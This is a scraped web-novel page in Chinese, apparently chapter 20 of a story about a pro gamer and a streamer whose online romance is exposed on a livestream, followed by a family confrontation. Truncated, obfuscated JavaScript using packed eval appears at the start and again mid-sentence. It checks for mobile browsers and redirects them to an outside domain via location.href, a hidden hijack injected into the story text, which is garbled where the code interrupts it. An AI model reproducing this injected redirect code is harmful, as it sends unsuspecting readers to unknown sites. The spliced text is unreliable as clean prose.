d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16368150|183909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了几个包裹，是林幻签收的，他是住这里吧？” “那些快递是你寄的啊？”刚听见林幻这个名字，女人还没有反应过来，经郗霁提醒，好像前两天郁听让她帮忙签收的包裹上是写着“林幻”这个名字，“你来是有什么事吗？那些快递我已经转寄走了，现在不在这里。” “我来是找林幻的。”郗霁微笑着说，“我是他朋友。” “哦，那你先进来吧。”女人眼睛转了转，侧身让出门口的位置。 “谢谢。”郗霁进屋后随意打量了一下，问，“林幻什么时候回来？” “你先随便坐一下吧，我先打电话问问。” 郁听走出机场的时候，暮色已经完全笼罩下来，收到图片的时候，他没仔细看，兴致勃勃地点开，才发现是海城到崇明市的机票，顿时惊出一声冷汗，当时他就知道，完了！ 郗霁没有提前打招呼，来得太突然，他根本来不及安排其他，而且出于私心，他也并不想找其他人冒名顶替他去跟郗霁约会。 等他想明白准备坦白的时候，电话却已经打不通了，他来不及思考太多，当即费力地脱了一身女装，定了最近一趟的机票。 郁听握着手机的手指微微泛白，听筒里重复着“您拨打的电话暂时无人接听”的提示音，让他原本慌乱的心又沉了几分。 之前给地址的时候，郁听考虑过给假地址，但是又担心包裹丢失。 虽然买的女装他穿不了，但毕竟是郗霁买给他的礼物，他想要收藏起来。 没想到就是这样，还是让对方摸着地址寻了过来。 刚坐上出租，一阵急促的手机铃声突然在车内响起，郁听的心猛地一紧，几乎是立刻将手机拿了起来，视线快速扫过屏幕，发现来电显示是表姐林璐。 “喂，姐，是不是有人来你那找我了？”郁听的声音里带着难以掩饰的急迫。 “我正要跟你说呢，有一个个子高高的帅哥来找你，不过你怎么跟人家说你叫林幻呢？” 郁听认命地闭了闭眼，“那他是不是知道林幻是假的了？” “我没有说，我不知道什么情况，也不敢乱说。” “那好，你先别说，我等会给他解释。”郁听交代完，又对出租车师傅说，“师傅，能再快点吗？” 林璐打完电话从房间出来的时候，郗霁正坐在客厅沙发上，见她出来，笑着询问：“他什么时候回来？” “已经在出租车上了，大概还有十多二十分钟就到了。” 闻言，郗霁站起身来，“那我出去等他吧。” 而且这家里暂时就一个女人，他一直待着不太方便。 出租车缓缓停靠在路边，刚停稳，郁听便推开车门，下车的动作快得带起一阵风，他走到小区门口，正准备让门卫大爷开门，手里的手机铃声忽然响起，还不待他接听，身后突然传来熟悉的呼喊。 “林幻。” 清冽又带着点惊讶的声音从身后传来，即便在人来人往的小区门口也十分清晰，郁听身体猛地一僵，缓缓地转过身来。 几米远之外，郗霁就站在那里，恰好隔着路灯与他遥遥相望，四目相对之际，周围的喧嚣仿佛被按下了暂停键，汽车的鸣笛，行人的笑语，手机里的提示音，全都变成了模糊的背景音。 郁听下意识地挂了电话，手指却还保持着握手机的姿势，张了张嘴，一时间不知道该说什么。 还是郗霁先摇了摇手上的手机，后台的直播画面也跟着晃了晃。 他说：“我给我女朋友打电话，怎么是你的手机响了，所以那个每天跟我早安晚安，喊我几百声老公的女朋友，是你吗？” 20. 入队 敲门声再一次响起，林璐打开门，发现门口站着的只有郁听一人。 门外的声控灯还亮着，她朝着郁听身后望去，“来找你的那位帅哥呢？你们没在小区底下遇见吗？” “他已经回去了。”郁听垂着眼，声音闷闷的。 林璐这才去看自家表弟的模样，眼眶微微泛红，原本亮晶晶的眼睛此刻像蒙了一层雾，连说话的语气都透着浓浓的失落。 “怎么了？快进来。” 林璐将门完全拉开，声音里带着几分关切。 郁听坐在沙发上，整个人的状态怅然若失，林璐倒了一杯水递过来，“怎么回事？原来那个人是来找你麻烦的吗？” 郁听摇了摇了头，他抬手接过水，喝了一大口，他一路赶过来心急如焚，又累又渴，这才缓过来一些，心情也是。 刚刚在底下，郗霁倒是没有对他说太重的话，只是在得知他就是林幻，是他网恋的女朋友之后，撂下一句“这事没完”就走了。 郁听眼睛眨了眨，黯淡的眸子中透出茫然，他不怕郗霁跟他没完，只担心郗霁从此不再搭理他，听郗霁这样说，好像他们的关系不会就这样断了，又放心了些。 郗霁订了第二天一早返回海城的机票，今晚只能先去就近的酒店将就了一晚。 睡前，他看了眼他的直播账号主页，最新的直播回放观看人次已经达到一千多万了，这还不包括网上各路转发和营销号添油加醋的剪辑。 果然网友都是爱吃瓜的，尤其还是炸裂的瓜。 一个是职业赛场新晋明星选手，一个是平台游戏男主播，还是用网恋奔现的方式绑定在一起，让一众围观群众惊呆了下巴。 微博热搜也爆了，#网恋#，#男男#，#奔现翻车#，哪一个不是网络上的热门词汇，而这些标签合在一起，很快就引爆了网络，直接将#弦耳霁月网恋#这个词条顶上了热搜第一。 郗霁依次往下看，底下还有好几个关于他们的热搜词条。 #电竞圈惊天巨瓜# #弦耳霁月# #弦耳男装女# #弦耳霁月奔现# 就是郗霁的私信也爆了，不光是吃瓜群众发来的，还有好些他的主播朋友，都纷纷来问他怎么回事。 但这些都是网络上的，只要郗霁不去看便能清静，他关了手机，知道明天回海城还有一场硬仗要打。 另外一边，郁听刚开始还不知道，直到战队小群里跟职业选手的大群里大家都在艾特他，他才知道郗霁当时在直播，而他们网恋奔现翻车的事情全程直播了出去，尤其是郗霁那句“那个每天跟我早安晚安，喊我几百声老公的女朋友，是你吗”更是在他们相关的视频底下都会出现。 郁听关闭了社交软件，名声而已，他不是很在乎，只是很担心这些内容会不会让郗霁更加不高兴。 …… 郗霁坐飞机回程，飞机刚落地海城，他就接到了林经理的电话。 电话里，林经理的声音透着点疲惫和无奈，显然对已经持续发酵的热度开始摆烂了。 “我算是理解上次见面你说的那句话是什么意思了。” 郗霁跟着人流往机场出口走，一遍说：“所以你今天打电话来是……” “邀请你进战队的想法仍旧不变。”林经理的声音轻柔但透着坚定。 “不怕麻烦吗？”郗霁认真地反问，他是准备当职业选手了不假，但不止一个Palmy战队可以选择。 如果Palmy战队犹豫的话，他也可以趁早接触其他战队。 “还好，虽然算不上什么正能量事件，但也实实在在增加了热度，我监测了你跟郁听的账号，从昨晚到现在，合起来涨了近一千万粉了。” 跟林经理谈妥之后，郗霁先开车去澜大办了休学，等出来的时候，果不其然接到了家里的电话。 早知道会有这样一遭的，郗霁也不意外。 他闹出了这么大个丑闻，郗泽楷如果不告状到爷爷那里，他倒是会奇怪太阳从西边出来了。 他驱车回到老宅，步入别墅正厅，首先映入眼帘的是高约六米的挑高空间，紫檀木长桌从这头铺到那头，已过古稀之年的郗爷爷坐在上首，阖着眼，指节叩着红木扶手的频率与墙上古董钟的滴答声重合，俨然是在等人。 小时候郗霁还会小心翼翼，但是现在他面对这故意施加的压力已经学会面不改色了。 他就这么从容地走过来，忽略掉一旁郗泽楷落在他身上幸灾乐祸的目光。 “爷爷。”他唤了声。 郗爷爷睁开一双浑浊的眼，沉声说：“你堂弟说你跟一个男的不清不楚地谈恋爱了，是这么回事吗？” 郗霁回头看了一眼，“那他没说这个人是他的朋友，经他授意，故意来接近我的吗？” “我什么时候让他跟你谈恋爱了，你别血口喷人！”郗泽楷立即站起来反驳。 “你自己心里清楚。”想到之前在医院的时候，郗泽楷话语里不加掩饰的恶意，郗霁干脆干脆直接了当地挑明，“爷爷，我打算去打职业了，我现在跟你说，也省得将来有人告状。” 反正这事瞒不住，郗霁深吸一口气，坚定地开口：“我已经办理好休学了，你阻止也没用。” 半个小时后，被骂出来的郗霁站在庭院里长舒一口气，正想离开，手机不合时宜地响了过来，他看了眼备注，是韩弋。 “你是才看到热搜吗？”郗霁踢着脚下的石子，懒懒地说。 “我一觉睡到下午，哪知道你搞出这么大的新闻，牛掰啊，热搜从昨天挂到今天！”韩弋想到之前郗霁的话，反应了过来，“你是不是早就知道偷吃月亮是男的了？” 郗霁想了想：“也不算一开始就知道。” 他也是后来才确定的。 “所以这算是他整你，还是算是你套路他？你家里人是不是也都知道了？” “知道了，我还被骂出来了。” “那我救济你一下？” “用不着。”郗霁站直了身体，单手插兜，“我马上要去当职业选手了。” “你连这个也一起说了？” “所以才被骂出来了。” “太生猛了，你这是要么不行动，一行动就行动两个大的啊！” 庭院里的绿植被风吹得簌簌作响，偶尔落下几片碎叶，在地面上打着旋儿。 郗霁挂断了韩弋的电话之后，正准备抬腿往外走，眼角的余光却瞥见一道黑影。 郗霁回过头 ，发现是郗晏一声不吭地站在假山旁。作为高三生，郗晏早就应该返校了，只是春节后一次没注意加重了腿伤，便延迟返校了。 此时，郗晏整个人陷在阴影里，只有一双眼睛在昏暗中泛着沉沉的光，身形消瘦，周身也笼罩着一层低气压。 “你为什么那么恨我？”郗霁看了他一会儿，忽然问，声音在安静的庭院里显得格外清晰。 郗晏没吭声，但郗霁知道他听见了。 等了一会儿，郗霁没了耐心，往前走了两步，离他更近了些，能清楚看见他眼底翻涌的阴沉。 “问你话呢。”郗霁提醒。 这一次，郗晏很快有了反应，他冷冰冰地回答：“因为我讨厌你，看见你失落，看见不能实现梦想，看见你被爷爷骂我就高兴，可以了吧。” 意料之中的答案。 郗霁盯着他：“前些时间我忽然想了起来，你那么讨厌我，是不是因为你小时候把爷爷药弄丢那次。” 头顶的一片乌云挪开，正好让郗霁看见郗晏双眼通红，目眦欲裂的模样，他的身体因为愤怒抖了抖，咬着后槽牙说：“你还好意思提那次？” “怎么不好意思提，你难不成一直以为是我将爷爷的药弄丢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16368151|183909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嫁祸给你的吗？”这些日子，郗霁大概想明白了。 比如郗晏莫名其妙的敌意，比如为什么同是堂兄弟，郗泽楷却忽然跟郗晏变得非常亲近，对他同仇敌忾。 其实当年那件事在郗霁的记忆中看来，只是微不足道的一件小事，如果不是前段时间特意去回忆，他都快想不起来。 那个时候他才九岁，那次爷爷病犯了，药瓶却空了，他听见动静从楼上下来的时候，就看见爷爷一个人倒在地上，他那时候小，被吓懵了，六神无主，只能赶紧出去找大人。 也幸好，二叔一家刚好过来了，正在外面打电话。 大人们做了些什么他有些忘记了，只知道当时乱做一团，等爷爷服了药缓过来的时候，大家才发现郗晏在花园里将一颗颗的药丸种进土里去。 然后，他就记得郗晏后面好像很惨，薛芷漪连续打了他好几巴掌，脸肿得老高，但还是边哭边说他的药丸是在地上捡的，没有贪玩去拿爷爷的药。 “难道不是吗？”郗晏反问。 “前些天，我看见郗泽楷从那里翻进来。”郗霁伸手指向西边那个矮墙，“轻车熟路，一看就是经常翻跃。” 在郗晏不解的目光下，郗霁继续说：“你说，那年我在二楼，刚开始根本没下来过，爷爷的药瓶不可能是我倒空的，如果你觉得也不是你倒的，那会是谁弄的呢？” 晚风裹着凉意在两人之间打着转，郗霁注视着郗晏脸上的惊疑不定，眼底掠过一丝不易察觉的冷光，他轻轻拢了拢外套领口，声音放得更缓，却字字像淬了冰：“我想，当初他墙翻进来，也是觉得好玩才弄丢那个药的，只是没想到会闯那么大的祸，又有你背锅，就干脆不承认了。所以，是不是从那之后，郗泽楷就对你特别好，你觉得那是为什么？” 郗霁每说一句，郗晏的脸色就白一分，从最初的震惊，慢慢转为难以置信，最后沉淀成一片铁青，死死地咬着下唇，嘴角甚至溢出一丝血迹，眼里的愤怒像淬了火的刀，只是从此以后，那刀刃不再是对着他了。 郗霁将他的反应尽收眼底，嘴角勾起一抹极淡的笑意，满意地大步离去。 当初的事情如何，其实郗霁也不怎么清楚，只是凭着蛛丝马迹和郗泽楷的反应拼凑出一个猜测而已。 至于剩下的，就让他们狗咬狗去吧。 再次来到Palmy战队，郗霁跟上一次的心境完全不同，他看着这一片的电竞俱乐部，流转的眸光里是少年人特有的热忱。只是下颌角线条太过于冷硬，为整体面容添了几分成熟强势之感，但偏偏那张脸又生得极好看，那点强势也成了不羁的意气。 这一次，是林经理等在门口，他看见郗霁之后，笑着迎上前来。 “大家还不知道你加入了战队，看见你肯定很惊喜。” “对于其他人来说，可能是惊喜，但对于郁听来说，林经理你确定不是惊吓吗？”郗霁从后备箱拿出行李箱，开玩笑地说。 “对他来说，也算是惊喜吧。”林经理笑呵呵地说。 关于他们网恋翻车这件事，这些天在网上的热度居高不下，而两个当事人从那天之后，都没有再在网络上活动，更是给大家提供了想入非非的空间，现在说什么的都有。 林经理带着郗霁前往正式队员的训练室的时候，大家正值休息时间。 繁复的训练之余，大家也都喜欢上网看看八卦轻松一下，而这些天，郁听制造了这么的一个八卦，所以一到休息时间，就变得闹哄哄的，你一言我一语地打趣。 最先发现来人的是荀客，因为郗霁比较高，即便跟在林经理的身后，他还是一眼看见了他，微微瞪大眼睛，说：“先别闹了，郁听老公来了。” “什么东西？你又发现什么新帖子了吗？”虞淼川凑过来，然后顺着荀客的视线看过去，一哽，连忙拍了拍郁听的手，“郁听，还真是你老……公来了。”